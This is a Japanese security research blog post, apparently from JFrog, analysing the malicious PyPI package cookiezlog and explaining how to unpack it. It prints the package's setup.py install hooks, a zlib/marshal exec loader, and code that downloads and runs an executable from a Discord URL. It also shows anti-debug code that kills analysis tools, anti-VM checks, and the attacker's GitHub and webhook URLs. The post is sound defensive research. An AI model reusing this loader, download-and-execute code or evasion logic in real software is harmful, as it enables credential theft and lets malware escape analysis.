PyPIマルウェアの作成者に支持されるアンチデバッグのテクニック

PyPI malware are starting to employ Anti-Debug techniques

JFrogセキュリティリサーチチームは、人気のあるオープンソースソフトウェア(OSS)リポジトリを自動化ツールで継続的に監視し、発見された脆弱性や悪意のあるパッケージをリポジトリのメンテナやより広いコミュニティに報告しています。

今日、ほとんどのPyPIマルウェアは、原始的な変数の操作から洗練されたコードの平坦化やステガノグラフィ技術まで、様々な技術を使って静的検出を回避しようとします。これらの手法が使われることにより非常に怪しいパッケージになりますが、経験が少ないリサーチャーが静的解析ツールを使ってマルウェアの正確な動作を理解できないようにします。しかし、マルウェアサンドボックスのような動的解析ツールは、マルウェアの静的防御のレイヤーを素早く取り除き、その背後にあるロジックを明らかにすることができます。

最近、攻撃者はさらに進化しています。私たちは最近、通常の難読化ツールやテクニックに加え、(動的解析ツールを妨害するように設計されている)アンチデバッグコードを採用していると思われるcookiezlogパッケージを検出し、公開しました。これは(他に公開されている記事含め)私たちの研究者チームがPyPIマルウェアにこの種の防御を発見した最初の例です。

この記事では、このPythonマルウェアで使用されているテクニックの概要と、類似のマルウェアを解凍する方法について説明します。

インストールトリガー

悪意のあるほとんどのパッケージと同様に、cookiezlogパッケージはインストールするとすぐに実行されます。これは setup.py の “develop” と “install” トリガーで実現されます。

class PostDevelopCommand(develop):
    def run(self):
        execute()
        install.run(self)
 
 
class PostInstallCommand(install):
    def run(self):
        execute()
        install.run(self)
 
...
 
setup(
    name='cookiezlog',
    version='0.0.1',
    description='Extra Package for Roblox grabbing',
    ...
    cmdclass={
        'develop': PostDevelopCommand,
        'install': PostInstallCommand,
    },
)

静的難読化 その1 – トリビアル(trivial)な例

最初の、そして最も単純な防御レイヤーはzlibでエンコードされたコードで、パッケージがインストールされた直後に実行されます。

def execute():
   import marshal,zlib;exec(marshal.loads(zlib.decompress(b'x\x9cM\x90\xc1J\xc3@\x10\x86\xeb\xb5O\xb1\xec)\x01\xd9\xdd4I\x93\x08=\x84\xe0A\xa8(\xa1\x1e<\x85\x98\x0c6hv\xd7...')))

解読されたペイロードは、ハードコードされたURLからファイルをダウンロードし、被害者のマシンで実行されます。

URL = "https://cdn.discordapp.com/attachments/1037723441480089600/1039359352957587516/Cleaner.exe"
response = requests.get(URL)
open("Cleaner.exe", "wb").write(response.content)
os.system("set __COMPACT_LAYER=RunAsInvoker | start Cleaner.exe")

実行ファイルはWindowsのPE(Portable Executable)ファイルです。実行ファイル内の文字列を見ると、実際のネイティブコードではなく、PE形式にパックされたPythonスクリプトであることがわかります。

$ strings Cleaner.exe | grep 'PyIns'
Cannot open PyInstaller archive from executable (%s) or external archive (%s)
PyInstaller: FormatMessageW failed.
PyInstaller: pyi_win32_utils_to_utf8 failed.

オープンソースツールPyInstaller Extractorで素早く解凍することができます。

解凍の結果得られるコードには、主にサードパーティのライブラリを中心とした多くのファイルが含まれています。その中で最も興味深いファイルはmain.pycで、マルウェアコードをPythonのバイトコードとして含んでいます。

静的難読化 その2 – PyArmorのアンパック

通常、uncompyle6などのツールを使ってmain.pycのバイトコードをPythonソースコードに逆コンパイルすることができるはずです。しかしこの場合、main.pycに対して別の文字列を実行すると、このバイナリがPyArmorで難読化されていることがわかります。

pytransformr
__pyarmor__
Dist\obf\main.py

PyArmorは商用のパッカー(実行可能なファイルを圧縮するもの)および難読化するためのツールで、元のコードに難読化技術を適用して暗号化し、解析から防御するものです。リサーチャーにとって幸運なことに、PyArmorはイントロスペクションに必要な情報の多くを保持しています。これを知っていれば、元のコードで使われている関数や定数の名前の復元を試みることができます。

PyArmorは一般に公開されているアンパッカーを持ちませんが、多少の手作業で完全に解凍することができます。このケースで、私たちはオリジナルのシンボルと文字列に興味があったので、(ライブラリインジェクションを使用して)素早く解凍するショートカットを実行することを選択しました。

パックされたモジュールをスタンドアローンのスクリプトとして実行しようとすると、システムに必要なモジュールがないことを指定するエラーが発生します。

$ python.exe .\main.pyc
Traceback (most recent call last):
  File "<dist\obf\main.py>", line 3, in 
  File "", line 1, in 
ModuleNotFoundError: No module named 'psutil'

このモジュールはpsutilモジュールを探すので、PYTHONPATHのどこかに同じ名前のモジュールを作成すれば、プロセスのコンテキストで実行されます。これはプロセスに独自のコードを注入するための簡単なエントリポイントとして使用することができます。防御されたファイル(main.pyc)と同じディレクトリにpsutil.pyという名前の独自のファイルを以下のコードで作成しました。

import inspect
for frame in inspect.stack():
   for c in frame.frame.f_code.co_consts:
       if not inspect.iscode(c):
           continue
       dis.show_code(c)

このスニペットでは、実行中のコードに関する実行時情報を取得できるinspectモジュールを使用しています。このモジュールは、実行フレームを繰り返し、コードブロック名と参照される定数を抽出します。

このスニペットを実行すると、悪質なコードの機能と起源を識別するための文字列のリストが返されました。最も注目すべき文字列は、攻撃者のリポジトリを指すインジェクション・モジュールのURLと、コード内のアンチVM機能への言及でした。

Injector
app-(\d*\.\d*)*) https://raw.githubusercontent.com/Syntheticc/injection1/main/injection.js
%WEBHOOK%
%IP%
index.js
check_vm None
VMwareService.exe
VMwareTray.exe

アンチデバッグ技術

文字列の中で言及されているSyntheticc GitHubプロファイルは、執筆時点ではまだ利用可能でした。このプロファイルのリポジトリには、オープンソースのハッキングツールが大量に含まれています。中でも「Advanced Anti Debug」と呼ばれるリポジトリがあり、マルウェアの解析を阻止するために使用できるメソッドが含まれていました。

Syntheticc GitHub profile

マルウェアが使用した動的な手法は、「アンチデバッグ(Anti-Debug)」と「アンチVM(Anti-VM)」の2つのカテゴリーに分けることができます。

「アンチデバッグ」は、デバッガや逆アセンブラに関連する不審なシステムの挙動をチェックする機能で、次のような機能があります。

check_processesは、デバッガのプロセスがシステム上で動作しているかどうかを調べます。アクティブなプロセスリストと、以下を含む 50 以上の既知のツールのリストを比較します。

PROCNAMES = [
    "ProcessHacker.exe",
    "httpdebuggerui.exe",
    "wireshark.exe",
    "fiddler.exe",
    "regedit.exe",
...
]
 
for proc in psutil.process_iter():
    if proc.name() in PROCNAMES:
        proc.kill()

check_research_toolsはほぼ同じ機能を持ち、プロセス名の一部を5つのトラフィック解析ツールの質素なリストと比較します。

これらのプロセスのいずれかが実行中であることが判明した場合、アンチデバッグコードはpsutil.Process.killを介してプロセスを強制終了しようとします。これは非常に巧妙なアプローチとは言えません。ステルスをより意識したマルウェアは、外部プロセスと相互作用する代わりに、何の表示もなく実行を停止します。

その他のアンチデバッグ技術は、マルウェアが仮想マシン内で実行されていないことを確認しようとするものです。

check_dllは、システムがVMWare(”vmGuestLib.dll”)、またはVirtualBox(”vboxmrxnp.dll”)バーチャルマシンのゲスト下で動作していることを示すDLLがあるかどうか、システムのルートディレクトリをチェックします。

check_vmは、VMware 関連のプロセス、特に VMwareService.exe や VMwareTray.exe が実行されているかどうかをチェックします

check_registryは、仮想マシンが使用するキーを探します。例えば、VMWareドライバがインストールされたときに追加される次のような有名なレジストリ・キーなどが対象となります。
HKEY_LOCAL_MACHINE\SYSTEM\
ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc

def check_registry():
    if system("REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2> nul") != 1 and system("REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2> nul") != 1:exit_program('Detected Vm')
    handle = OpenKey(HKEY_LOCAL_MACHINE, 'SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum')
    try:
        if "VMware" in QueryValueEx(handle, '0')[0] or "VBOX" in QueryValueEx(handle, '0')[0]: exit_program('Detected Vm')
    finally: CloseKey(handle)

check_specs関数は、現在のマシンの使用状況を分析します。

def check_specs():
    if int(str(virtual_memory()[0]/1024/1024/1024).split(".")[0]) <= 4: exit_program('Memory Ammount Invalid')
    if int(str(disk_usage('/')[0]/1024/1024/1024).split(".")[0]) <= 50: exit_program('Storage Ammount Invalid')
    if int(cpu_count()) <= 1: exit_program('Cpu Counts Invalid')

メモリやディスクの容量が少ない場合や、CPUが1つしかない場合は、仮想マシン内でプロセスが動作していると判断します。

上記のチェックはすべて比較的簡単なものですが、このマルウェアがすでに採用している静的解析に対する十分な防御機能により、経験が少ないリサーチャー、特にこの特定のマルウェアの防御を破ることができない自動解析ツールしか使用したことのないリサーチャーに対する十分な防御機能を提供します。

ペイロード – シンプルなパスワードグラバー

ペイロードは、マルウェアが使用する防御力の高さに比べて残念なほど単純ですが、それでも有害です。ペイロードはパスワードグラバーで、一般的なブラウザのデータキャッシュに保存されている自動入力されるパスワードを収集し、C2サーバ(この場合はDiscordフック)に送信します。
https[://]discord[.]com/api/webhooks/1039353898445582376/cvrsu8CslmIYzNyXMpkjbkNEy_O0yjg08x5R_a7mPdgooQquALPINn1YfD5CuJ11dM7h).

マルウェアから抽出された文字列から、「業界標準」のDiscordトークン漏洩機能に加え、send_info関数で使用される文字列から分かるように、このペイロードは、複数の金融サービスのパスワードも探っていることが推測できます。

Name: send_info
Filename: 
Argument count: 0
...
Constants:
0: None
1: 'USERPROFILE'
...
5: 'coinbase'
...
7: 'binance'
...
9: 'paypal'
...

まとめ

マルウェア開発者は、常に進化を続け新しい回避方法を追加し、ツールの解析から防御するための新しいレイヤーを追加していることが改めてわかります。ほんの数年前までは、PyPIマルウェアの作者が使用するツールといえば、シンプルなペイロードエンコーダだけでした。今日、OSSリポジトリにアップロードされるマルウェアは、より複雑化し、いくつかのレベルの静的および動的な防御を備え、商用および自作のツールを組み合わせて利用していることがわかります。これは、ネイティブマルウェアの世界における「仲間」と同様であり、OSSリポジトリ型マルウェアは、カスタムポリモーフィックエンコーディングやより高度なアンチデバッグ手法といった高度な技術を駆使して、今後も進化を続けることが予想されます。

JFrogセキュリティ・リサーチの最新情報

JFrogセキュリティ・リサーチチームからの最新の情報は、セキュリティ・リサーチのブログ記事やTwitter @JFrogSecurityからご覧ください。